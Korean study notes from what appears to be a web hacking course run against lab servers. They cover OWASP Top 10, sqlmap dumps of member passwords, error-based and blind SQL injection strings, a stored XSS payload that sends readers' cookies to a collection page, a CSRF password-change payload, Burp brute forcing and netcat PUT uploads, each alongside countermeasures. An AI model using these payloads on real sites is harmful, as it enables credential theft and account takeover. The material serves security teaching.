RedScreen

1. SQLMap 도구 사용

가. Blind SQL Injection 을 자동으로 해주는 도구

나. 환경 준비

1) Pyhton 설치

https://www.python.org/

2) sqlmap 설치

http://sqlmap.org/

다. 도구 실행

1) cmd 에서 sqlmap 위치로 이동

2) sqlmap 실행

# cmd> python sqlmap.py 

3) 파라미터가 잇는 url 선택

http://192.168.1.144/board/board_view.asp?num=61

4) 실행

# python sqlmap.py -u "http://192.168.1.144/board/board_view.asp?num=61" -v 5

5) 기본 정보 확인 

# python sqlmap.py -u "http://192.168.1.144/board/board_view.asp?num=61" -v 5

6) 데이터베이스 이름을 가져오는 명령

# python sqlmap.py -u "http://192.168.1.144/board/board_view.asp?num=61" -v 5 --dbms="Microsoft SQL Server" --os="Windows" --dbs 

7) board 데이터베이스의 tables 를 확인

# python sqlmap.py -u "http://192.168.1.144/board/board_view.asp?num=61" -v 5 --dbms="Microsoft SQL Server" --os="Windows" -D "board" --tables 

8) board 데이터베이스의 member 테이블의 columns 를 확인

# python sqlmap.py -u "http://192.168.1.144/board/board_view.asp?num=61" -v 5 --dbms="Microsoft SQL Server" --os="Windows" -D "board" -T "member" --columns 

9) member 테이블의 Id, Name, Pass 필드를 확인(실제 원하는 값 확인)

# python sqlmap.py -u "http://192.168.1.144/board/board_view.asp?num=61" -v 5 --dbms="Microsoft SQL Server" --os="Windows" -D "board" -T "member" -C bId,bName,bPass --dump 

2. OWASP Top 10

A1 - 인젝션

가. 데이터베이스와 연결된 웹 어플리케이션에서 사용자의 입력에 대한 검증이 제대로 이루어지지 않을 경우, 공격자에 의해 URL, 로그인 form 등의 위치에 조작된 query 문을 삽입하여 인증을 우회하거나, 데이터베이스 정보를 열람, 조작, 시스템 명령 실행등이 가능한 취약점

나. 진단방법

1) ' (Single Quatation) 삽입시 에러 발생 시 취약 진단

2) query에 참/거짓 결과가 다르게 출력

- and 1=1

- and 1=2

다. 대책

1) 개발자의 시큐어 코딩 필요

2) 웹 방화벽 등에서 입력 값 필터링

- ', or, and, union 등 SQLi 공격에 사용되는 문자열 필터링 : 블랙리스트

- 허용된 입력 값만 필터링 : 화이트리스트

A2 - 인증 및 세션 관리

가. 사용자를 인증하고 인증된 사용자를 관리하는 세션 관리 매커니즘이 불충분하여 취약점이 발생

암호화 없이 정보를 저장/전송하여 세션 정보가 노출

나. 유형

1) Cookie Poisoning

2) Session Reply Attack

3) Brute Attack

다. 진단 방법

1) Cooxie Toolbar 사용하여 쿠키값 조작이 가능한지 확인

2) 동일한 SessionID로 동시접속이 가능한지 확인

3) 아이디/패스워드 입력 오류 발생 시 차단정책 확인

라. 대책

1) 패스워드 정책 강화

2) 입력오류 누적시 차단정책 설정

3) 데이터 전송 암호화(SSL)

4) 중요 데이터 쿠키 저장 금지

5) 세션 타임아웃 시간 단축

6) 동시접속 로그인 금지

마. 실습

1) java 설치

http://java.com/ko/download/

2) burp(Web Proxy) 다운

https://portswigger.net/

- .jar 파일은 자바가 설치되어있어야 실행가능

- .jar 파일이 알집으로 열린다면 알집의 설정에서 jar 확장자를 해제해준다.

- Paros Web Proxy 도 같은 기능의 도구

3) 웹사이트에 아이디/패스워드를 입력한다.(틀려도 됨)

4) burp 에서 아래의 탭에서 자신이 입력했던 아이디/패스워드가 넘어가는 내용을 찾는다.

5) 우클릭 -> Send to Intruder

6) Intruder 탭 선택 -> 타겟을 확인한다. 

7) Positions 에서 Attack type -> Cluster bomb 선택 -> 입력할 필드를 선택한다.(아이디/패스워드)

8) Payloads 탭에서 7번에서 선택한 아이디/패스워드 에 입력될 내용들을 추가해준다.(Dictionary) 

9) 설정 완료 후 오른쪽 위쪽에 Start Attack 을 누르면 아래와 같이 모든 경우의 수를 입력하여 찾게된다.  

- Length 부분이 하나가 다르게 나오는데 내용을 확인하면 정상적으로 로그인이 되는 내용임을 알 수 있다.

A3 - 크로스 사이트 스크립팅(XSS)

가. 서버에 악의적인 스크립트를 포함시켜서 사용자의 브라우저에서 실행을 유도하여 사용자의 브라우저 및 시스템을 제어할 수 있는 약점

서버 측에서 공격자의 입력 검증이 불완전하여 발생

나. 유형

1) Reflected XSS : URL 영역에 사용, URL에 스크립트를 포함시켜서 서버에게 파라미터로 전달하고 서버는 스크립트를 만들어주는

   페이지에 포함시켜 전송

2) Stored XSS : 게시물에 스크립트를 등록, 공격자는 공격 스크립트를 서버에 저장

3) DOM based XSS : document object model 을 사용하여 조작, URL에 스크립트를 포함시키지만 서버에서 파라미터가 처리되지 않고 요청한 페이지가 클라이언트에게 돌아온 후 .........................

다. 진단 방법

1) URL의 파라미터 영역에 '<script>alert('xss');</script> 등의 스크립트 입력

2) 게시물에 <script>document.write(document.cookie);</script> 스크립트 입력

3) 기타 XSS cheat sheet를 사용하여 스크립트 필터링 우회 테스트

라. 대책

1) 스크립트 사용제한

2) HTML 태그 사용 제한 또는 혀옹된 태그만 필터링

3) 스크립트에 악용될 가능성이 있는 문자 치환

A4 - 취약한 객체 직접 참조

가. 웹 페이지를 include 하는 부분이 존재할 때, 공격자가 기존 페이지 대신 시스템에 직접 접근 가능한 경로를 삽입하여 시스템 파일이

노출되는 취약점

나. 유형

1) 경로 조작을 통한 시스템 파일 접근(내부 파일 include)

2) WebShell 등 외부 파일 실행(외부 파일 include)

다. 진단 방법

1) 웹 사이트의 URL 주소 상세 점검

2) 취약점 진단 툴을 통해 점검 가능

3) 관리자 뒤 단 페이지, 백업 파일 접근 가능 여부 점검

라. 대책

1) 외부 파일 삽입 금지

2) 에러 페이지는 따로 작성 후 직접 호출방식 사용

3) include 된 파일이 화면에 표시되지 않고 서버측에서 처리하도록 설정

A5 - 보안 설정 오류

가. 웹 서버나 웹 어플리케이션 설정 등이 Default 로 유지되고 있거나, 테스트 파일 등이 남아있는 경우 발생하는 취약점

나. 유형

1) 디렉토리 리스팅

2) 오류 메시지 출력

3) Banner Grabbing

다. 진단 방법

1) 디렉토리 리스팅 : URL 에서 파일명, 쿼리 스트링을 삭제하고 요청하여 결과 확인

2) 오류 메시지 점검 : 특수문자, 파라미터 변조, 존재하지 않는 파일 요청 등을 통해 발생하는 에러 페이지 확인

3) http 메소드 점검 : OPTIONS 메소드를 사용하여 허용되는 메소드 파악

4) 테스트 페이지, 기본 설정 페이지 등의 존재 여부 확인

라. 대책

1) 웹 서버 환결설정 보완

2) 웹 서버 구축 완료 후 불필요한 파일 삭제

A6 - 민감 데이터 노출

가. 불완전한 암호화 방식 사용으로 민감 데이터가 공격자에게 노출되는 약점

패스워드 정보, 신용카드 등의 개인 정보, 기타 인증과 관련된 정보

나. 유형

1) 암호화 해제

2) 스니핑을 통한 중요정보 노출

다. 진단 방법

1) 와이어샤크 등 패킷 시니핑 도구를 사용하여 패킷을 확인

2) Session Cookie 값의 암호화 해제 리스트

라. 대책

1) 암호화 사용지 강력한 암호화 표준 알고리즘 사용

2) SSL을 사용한 통신

A7 - 기능 수준의 접근 통제 누락

가. 사용자의 권한에 따라 웹 어플리케이션의 URL에 접근이 제어되어야 하는데, 세션 등의 관리 미비로 관리자 페이지로 접속하거나,

권한 없는 사용자가 권한을 획득할 수 있는 보안 취약점

나. 유형

1) 권한이 없는 CRUD(create,Read or Retrieve, Update, Delete or Destory)

다. 진단 방법

1) 파라미터 조작을 통한 권한 획득 확인

2) 과리자 페이지 접속 시도

3) 관리자 페이지의 뒷단 페이지 접속 시도

라. 대책

1) CRUD 작업 요청 시 세션 체크

2) 관리자 페이지 접속 시 IP인증/계정인증 등 Two Factor 인증 적용

A8 - 크로스 사이트 요청 변조(CSRF)

가. 정상적인 사용자에게 공격자가 명령을 전송하여, 사용자의 브라우저에서 공격자에게 이득이 되는 행동을 수행하게 하는 취약점

나. 유형

1) 관리자를 대상으로 한 공격자의 권한상승 공격

2) 사용자를 대상으로 한 요청 변조 공격

다. 진단 방법

1) 게시물, 웹 메일, 쪽지 등의 XSS 전송 가능 여부 점검

라. 대책

1) POST method 사용

2) Security Validation Token 사용

3) Referer Validation

A9 - 알려진 취약점이 있는 컴포넌트 사용

가. 개발에 사용된 컴포넌트, 라이브러리, 프레임워크, 기타 소프트웨어 모듈이 전체 권한이나 버그를 내포하고 있고, 보안 패치 등이 수행되지 않았을 경우, 권한과 버그를 이용하여 시스템을 공격할 수 있는 보안 취약점

나. 유형

1) 사용중인 컴포넌트 파악하여 정보 수집 후 공격

2) Struts, tomcat, WYSIWYG 도구, 오픈소수 게시판

다. 진단 방법

1) 사용중인 어플리케이션의 버전 정보 확인 후 취약점 정보 조회

2) 웹 어플리케이션 소스를 분석하여 사용중인 컴포넌트 파악 후 해당 컴포넌트 소스 다운로드 후 분석

라. 대책

1) 취약점이 존재하는 컴포넌트 배제

2) 사용중인 컴포넌트의 취약점 보완 패치 적용

A10 - 검증되지 않은 리다이렉트 및 포워드

가. 다른 페이지로 리다이렉트/포워드 할 때 신뢰 할 수 없는 경로로 이동

신뢰성 검증 부재로 발생하는 보안 취약점

나. 유형

1) <a>, <meta> 등을 사용한 페이지 이동

2) ClickJacking 기법

- 마우스 클릭(onmouseup) 이벤트를 통한 사이트 이동

- 피싱 사이트, 악성코드 유포 경유지 등으로 유인

- 방화벽 설정 변경, 프로그램 다운로드

다. 진단 방법

1) 웹 페이지 소스 리다이렉트/포워드 부분 점검

2) HTML 태그 허용여부 확인

라. 대책

1) HTML 태그 필터링 : 허용 문자만 입력하도록 화이트리스트 기반 필터링 적용

1. Error가 막혀있지 않고 SQL 입력가능한 환경에서 SQL injection

가. 크롬 브라우저 이용

나. having, Group by 이용
다. ID 부분에 다음의 내용 입력

  ' having 1=1--
  ' group by idx--
  ' group by idx,level_idx--

라. having 은 group by 와 같이 나와야하는데 지금은 having 만 사용하여 에러처리가 되어있는지 확인하고, 그 에러를 야기시켜서 DB를 가져올수 있다. 

- ID : ' having 1=1--     입력 -> 아래와 같은 에러를 보여주는데 그 내용에 DB 내용을 볼 수 있다.

-> member.m_idx

- ID : ' group by m_idx--    입력 

-> member.m_id

-  ID : ' group by m_idx,m_id--    입력 

-> member.m_name

- ID : ' group by m_idx,m_id,m_name--    입력

-> 더이상 에러가 나오지 않는다.

-> 필드는 3개 라는것을 확인 가능하다.

마. 로그인후 chapter1 게시판의 정보 확인

- 위와 같은 방법으로 하나씩 알아낼 수 있다.

- 테이블 명 : chapter1

- 필드개수 : 7

- 필드명 : chapter1.idx, chapter1.ref_idx, chapter1.level_idx, chapter1.title, chapter1.name, chapter1.wtday, chapter1.hitcnt

바. 왜 위험한가?

1) union select 절

- 조건

① 열의 개수가 같아야 한다.

② 호환되는 데이터 형식을 가져야 한다.

③ 두개 이상의 테이블

- ' union select NULL,NULL,NULL,NULL,NULL,NULL,NULL from member-- 

-> 데이터 유형이 잘못됨을 나타낸다.

-> 어딘가 숫자를 요구하는 필드가 있다는 것을 의미

- ' union select 0,NULL,NULL,NULL,NULL,NULL,NULL from member--

- ' union select NULL,0,NULL,NULL,NULL,NULL,NULL from member--

-> .... 이런식으로 각 필드에 0을 넣어본다.

-> error 가 나오지 않는다.

- ' union select NULL,0,NULL,m_id,m_name,NULL,NULL from member--

- ' union select NULL,0,NULL,m_id,m_pwd,NULL,NULL from member-- 

-> m_id, m_pwd 정보를 찾을 수 있다. (m_id는 위에서 찾은 필드명이고, m_pwd는 유추하여 입력한 것이다.)

-> 이런식으로 원하는 필드를 찾을 수 있다.

- 현재는 에러 페이지 처리와 입력 값에 sql query 입력이 되는 두가지 문제로 인하여 위와 같은 공격이 된다.

- 보안 대책

가) 개발자가 sql 입력을 예외처리 해준다.

나) 에러 페이지를 처리해주어야 한다.

2. Error가 막혀있고 SQL 입력가능한 환경에서 SQL injection(Blind SQL injection)

가. 이것은 어떻게 아는가?

' and 1=1--        ->    상황에 따라 참, 거짓

' and 1=2--        ->    무조건 거짓

-> 논리적인 내용을 보내본다.

sql_6

sql_7

- 결과가 다르게 나오는데 원래는 해당 문자열이 들어간 내용을 찾아주어야하는데 아니다.

- 해당 검색 문자열이 무언가 결과에 영향을 준다는 의미

나. 논리적인 처리로 접근해본다.

- injection' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),1,1)),0) > 107--

- injection' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),1,1)),0) > 108--

->     |  여기부터 입력하면 된다.

-> db_name() : 현재 사용중인 테이블을 의미하는 함수

-> substring : 문자열 받아온다.

-> 1,1 : 첫번째 문자열에 첫번째 글자를 지칭 (1,2 : 두번째 글자

-> 그 글자가 107 이라는 숫자보다 큰지 확인한다.

-> 위 2줄의 sql 쿼리문을 넣어서 107이 참이고, 108이 거짓이면 해당 글자는 108 (소문자 L) 임을 알수 있다.

-> 이런식으로 한글자씩 찾는 방법이다.

다. 해당 공격이 가능한 페이지 찾는 방법

- http://192.168.1.135/chapter1/view.asp?page=1&idx=65' and 1=1--

- http://192.168.1.135/chapter1/view.asp?page=1&idx=65' and 1=2--

-> url 맨뒤에 필요없는 필드는 지우고 논리적인 쿼리를 입력해본다.

-> url 을 입력해서 결과를 비교해본다.

-> 1=1 은 그대로 유지되고, 1=2는 삭제된 게시물이라고 나온다.

- http://192.168.1.135/chapter3/view.asp?page=1&idx=11' and 1=1--

- http://192.168.1.135/chapter3/view.asp?page=1&idx=11' and 1=2--

-> 여기 페이지에는 블라인드 공격이 되지 않는다.

라. 공격

- http://192.168.1.135/chapter1/view.asp?page=1&idx=65' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),1,1)),0) > 107--

-> 처리된다. (오류창 발생 안함)

- http://192.168.1.135/chapter1/view.asp?page=1&idx=65' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),1,1)),0) > 108--

-> 삭제된 게시물이라고 나온다.

-> 첫번째 글자는 108 (소문자 L) 이 된다.

- http://192.168.1.135/chapter1/view.asp?page=1&idx=65' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),1,2)),0) > 97--

-> 두번째 글자를 아스키코드 97(소문자 a) 부터 찾는다.

- 이런식으로 DB 의 정보를 가져온다.

마. 인증이 필요한 웹서버 같은경우

- 로그인해서 쿠키값을 가져와서 넣어서 같이 보내는 것처럼 응용 가능

3. XSS(Cross Side Scripting)

가. server side 작성된 글에 client side script 를 이용한 공격 코드 작성

- 작성된 코드는 텍스트로만 쓰여서 보여야한다.

- 그런데 브라우저를 통하여 client 가 글을 읽을 때 공격코드가 실행된다.

- 필터링을 하여 해당 코드가 실행되지 않도록 해야한다.

- 웹 브라우징에서 가용성이 극대화 되면서 예외처리 부분이 되지않아 해당 공격가능

- 브라우징에서 많은 기능들이 사용된다.

나. 게시판에 글을 읽으면 쿠키정보를 가져오는 공격

1) <script>alert('test');</script>    ->    알림창 발생

2) DOM XSS

<script>document.write(document.cookie)</script>

가) 공격코드

<script>document.write("<iframe src='http://192.168.1.135/XSSAttack/Attack_Request.asp?cookie="+document.cookie+"' width=0 height=0></iframe>")</script>

-> document.cookie를 이용하여 글을 보고있는 사람의 쿠키를 해당 파일로 보내는 코드

나) 확인

http://192.168.1.135/XSSAttack/Attack_cookie.txt

다) 공격 페이지

http://192.168.1.135/XSSAttacker/Attacker_Requset.asp?cookie=aaa

-> aaa 라는 쿠키값을 보내게 된다.

라) 탈취한 쿠키를 적용시키면 해당 사용자로 인증접속 할 수 있다.

- EDIT COOKIE 부분에 탈취한 쿠키로 변경 후 SET 하면 인증접속 가능

4. CSRF (Cross-Site Request Forgery)

가. XSS 와 공격 원인은 같다.(예외처리가 되어있지 않다.)

나. 사실상 난독화등이 되어있어서 웹방화벽 등에서 예외처리, 필터링하기 힘들다.

다. 차이점 : 글을 읽는 사용자의 권한으로 재요청을 하게될 URL, 사이트 등과 같이 별도의 타겟이 있다.

- XSS는 글을 읽는 사람이 공격을 당하지만, CSRF은 글을 읽는 사람의 권한으로 별도의 타겟을 공격하는 것

라. 공격

1) 로그인 후 [정보수정] 버튼 눌러서 소스보기를 한다.

cs_1

- action : /member/mem_modify_ok.asp

- method : post(get 방식으로 전송됨을 확인했었음)

- pwd, name, email 변수 확인

2) 정보를 확인했으니 공격 코드를 작성한다.

http://192.168.1.135/member/mem_modify_ok.asp?pwd=1111&name=해킹했다&email=해킹@a.com

- get 방식으로도 동작하기 때문에 get 방식으로 작성

- action정보를 넣어주고 ? 뒤에 넘길 값을 작성해준다.

3) XSS 에서 했던 DOM 방식으로 작성한다.

<script>document.write("<iframe src='http://192.168.1.135/member/mem_modify_ok.asp?pwd=1111&name=너해킹됐어&email=해킹@a.com' width=0 height=0></iframe>")</script>

- 이 스크립트로 XSS에서 했듯이 게시물을 작성하면 글을 읽는 사용자의 권한으로 자동으로 실행되어 정보가 바뀐다.(pwd 1111)

마. 공격 가능 여부

1) 회원정보 수정 창에서 본인이 맞는지 인증을 하고 수정시켜야하는데 그렇지 않기 때문에 이 공격이 가능

1. 웹

가. 개론

1) 네트워크나 시스템은 단일 대상

2) 웹 어플리케이션

- 웹은 혼자서 동작하는 경우가 없다.

- 다양하고 복합적인 자원이 같이 동작한다.

- 확장성이 용이하다.

3) 웹은 유행을 탄다.

- 웹을 잘한다 : 웹을 구성하고 있는 자원들을 잘 이해한다고 볼 수 있다.

나. 웹 프로세스 이해

1) Client Side

가) 종류 : html, javascript, applet, swf(플래시), xml, cookie 등

나) 브라우저 측에서 해석해준다.

다) 서버측으로 넘어가는것은 입력값 검증을 해주어야한다.(조작이 가능)

검증이 되지 않는다면 방어하지 못한다.

라) 클라이언트에 직접 영향을 준다. (브라우저에서 해석되어 보는것만으로도 악성코드, 스크립트 등이 동작)

2) Server Side

가) 웹 어플리케이션 : 웹서버와 DB 사이에서 입력되는 데이터값을 DB와 연동시키기 위해 사용된다.

- WAS : 서버 등을 관리하는 별도의 페이지, 제어 페이지가 따로 있는 환경

다. HTTP 프로토콜

1)개론

- 웹 상에서 파일(텍스트, 이미지, 비디오 등 멀티미디어)을 주고 받는데 필요한 프로토콜로서 TCP/IP 와 관련된 하나의 응용 프로토콜

- TCP와 UDP를 사용, 80번포트를 사용한다.

- 클라이언트와 서버사이에 이루어지는 요청/응답(Requset/Response) 프로토콜

- HTTPS : 443번 포트 사용

가) Requset Method

- GET : URL에 해당하는 자료의 전송을 요청

- HEAD : GET 과 같은 요청이지만 자료에 대한 정보만 받는다. 요청받은 자료는 되돌려주지 않는다.

- POST : 서버가 처리할 수 있는 자료를 보낸다.(content-length 로 body에 공간을 확보하여 body에 자료를 담아서 보낸다.)

- PUT : 메시지에 포함되어 있는 데이터를 해당 URL에 자료를 저장한다.

- DELETE : 해당 URL 의 자료를 삭제한다.

- TRACE : 요구 메시지의 최종 수신처까지 루프백 검사용. 클라이언트가 보내는 요구 메시지가 거쳐가는 프록시나 게이트웨이의

    중간 경로 및 최종 수신 서버까지 이르는 경로 추적

- OPTIONS : 자원에 대한 요구/응답 관계에서 관련된 선택 사항에 대한 정보를 요청

- CONNECT : 프록시가 사용하는 요청 방식

- COPY : 실행 권한이 있을 법한 경로로 복사한다.

나) State Code

- 100번대 : 정보 / 정보교환

- 200번대 : 성공 / 데이터 전송이 성공적으로 이루어졌거나, 이해되었거나, 수락되었음

- 300번대 : 방향 바꿈(Redirection) / 자료의 위치가 바뀌었음

- 400번대 : 클라이언트 오류 / 클라이언트 측의 오류. 주소를 잘못 입력하였거나 요청이 잘못되었음

- 500번대 : 서버 오류 / 서버 측의 오류로 올바른 요청을 처리할 수 없음

2) HTTP 1.1 Method 의 공격 시나리오중 하나

- OPTIONS : 상대방이 사용하고 잇는 allow method 정보를 볼수 있다.

- PUT : 원격의 서버에 임의 내용을 저장 (악성코드등을 서버에 심을 수 있다.)

- COPY : 실행 권한이 있을 법한 경로로 복사를 해준다.

- 공격

가) 실습

# nc.exe 192.168.1.129 80

# OPTIONS / HTTP/1.1

# host:192.168.1.129

- foot printing(정보수집)

- allow 를 보면 굉장히 취약함을 알 수 있다.

# nc.exe 192.168.1.129 80

# PUT /chapter1/upload/test1.html HTTP/1.1

# host:192.168.1.129

# content-length:10

# HTTP!!!!        ->    업로드할 텍스트

- 위와 같이 입력하면 IIS 서버에 해당 "HTTP!!!" 텍스트가 올라가게된다.

3) HTTP Request 에 포함된 상세정보

가) 요청 URL

나) 사용자 웹 브라우저 종류

다) 요청 데이터 타입

라) 쿠키 : 인증 정보, 클라이언트에 임의의 값을 주어서 세션을 유지하는 것

마) 경유지 URL : 이전 접속 페이지의 주소, 페이지 조작등이 가능할때 불법적인 접근을 확인할때

바) 요청 도메인

2.. 난독화

가. 정의

1) 프로그램을 변화하는 방법의 일종으로 코드를 읽기 어렵게 만들어 역공학을 통한 공격을 막는 기술

3. 모의해킹과 취약점 점검의 차이

가. 취약점 점검 : check list 에 의존한다. check list 를 넘으면 불법

나. 모의해킹 : 시나리오가 들어가고 이미 취약한 부분으로 인하여 피해유무를 증명하는 것

4. 웹 취약점 리스트

가. CWE

1) 연구 관점에서 발생할 수 있는 취약점

2) 의사코드 : 개발시 참조하는 가이드 코드(줄리엣 코드 -> CWE에서 나옴)

나. CVE

1) 감지된 보안취약점을 정리해 둔 목록, 보안 취약점의 히스토리

2) POC 코드 : 취약점에 대한 코드 

3) CVE-YYYY-NNN : CVE-년도-순번

다. OWASP Top 10

1) CVE에서 웹에 관련된 목록들을 정리한 목록(CVE 사이트 근거)

2) 그 해년도 많이 발생된 웹 취약점(완벽하게 신회할 수는 없다. 참고사항)

5. SQL Injection

가. 전제조건 : 일반 클라이언트는 웹 서버에 웹 어플리케이션에서 정의한 패턴만 DB에 요청이 들어가야한다.

나. 공격자는 전제조건을 우회해서 공격

- URL에 ? 기준으로 뒤는 파라미처(변수 등) 이고 db로 넘어가는 값, 앞쪽은 url과 경로등을 지칭

다. form tag 분석 및 실습

1) 웹 페이지에서 마우스 우클릭 -> 소스보기에서 form 의 내용으로 기본적인 사항을 확인 할 수 있다. 

<form name='login_form' action='/member/login_ok.asp' method='post'>

- action : 해당 form에서 이벤트 발생시 action 으로 넘겨간다.

- method : 넘기는 방식을 명시한다.

- post : content-length 을 이용하여 body 부분에 공간을 확보하여 보내는 방식

- get : url 에 정보를 담아서 보내는 방식

- 이때 진짜로 post 방식으로만 되는지 확인해야 한다. get 방식으로 해도 되는지 확인

-> http://192.168.1.129/member/login_ok.asp?id=attacker0101&pwd=0101 이런식으로 url에 정보를 담아서 접속해본다.(get)

-> 웹 어플리케이션에서는 넘어온 값들을 DB로 넘길때 다음과 같은 형태로 변수를 받아서 확인한다.

select * from member where id='&attacker0101&' and pwd='&0101&';

<input type='text' name='id' style='width:100px' onkeypress='javascript:enter_login()'>

<input type='password' name='pwd' style='width:100px' onkeypress='javascript:enter_login()'>

- input 필드에서는 항상 name, value 값을 확인하여 변수명, 값 등을 확인할 수 있다.

2) http://192.168.1.129/member/login_ok.asp?id=attacker0101&pwd=0101 get 방식으로 입력하여도 접속됨을 확인할 수 있다. 

3) ID / PW 에 특수문자를 넣는경우

- ID : ' or 1=1--

- PW : 아무거나

=> http://192.168.1.129/member/login_ok.asp?id=' or 1=1--&pwd=아무거나
=> select * from member where id='&' or 1=1--&' and pwd='&아무거나&';

가) sql 구문을 보게되면 " select * from member where id='&' " 여기서 sql 문장이 완성이 된다.

나) 그 뒤에는 or 조건으로 1=1 이 true 이기 때문에 전체 sql 문이 true 가 된다.

다) 그 뒤 -- 는 세미콜론(;) 을 의미한다.(데이터베이스 종류에 따라 다르다.) 그래서 sql 이 종료가 된다.

라) 세미콜론에서 전체 sql 구문이 끝나므로 그 뒤에 값을 보지도 않게된다.

마) 결과는 DB 로 넘어가는 sql 구문은 true 가 되기 때문에 패스워드에 아무값을 넣어도 로그인이 된다.

- ID : ' or '1'='1
- PW : ' or '1'='1

=> http://192.168.1.129/member/login_ok.asp?id=' or '1'='1&pwd=' or '1'='1
=> select * from member where id='&' or '1'='1&' and pwd='&' or '1'='1&';

가) 이번 경우에는 sql 구문을 찾아보면서 해석하면 ID / PW 필드 모두 true 값으로 되기 때문에 로그인이 된다.

4) 공격의 원리

- 입력한 값을 검증하지 않기 때문에 위와 같은 공격이 가능하다.

- 합법한 내용만 넘겨야하는데 개발자가 그 검증 부분을 넣지 않았기 때문이다.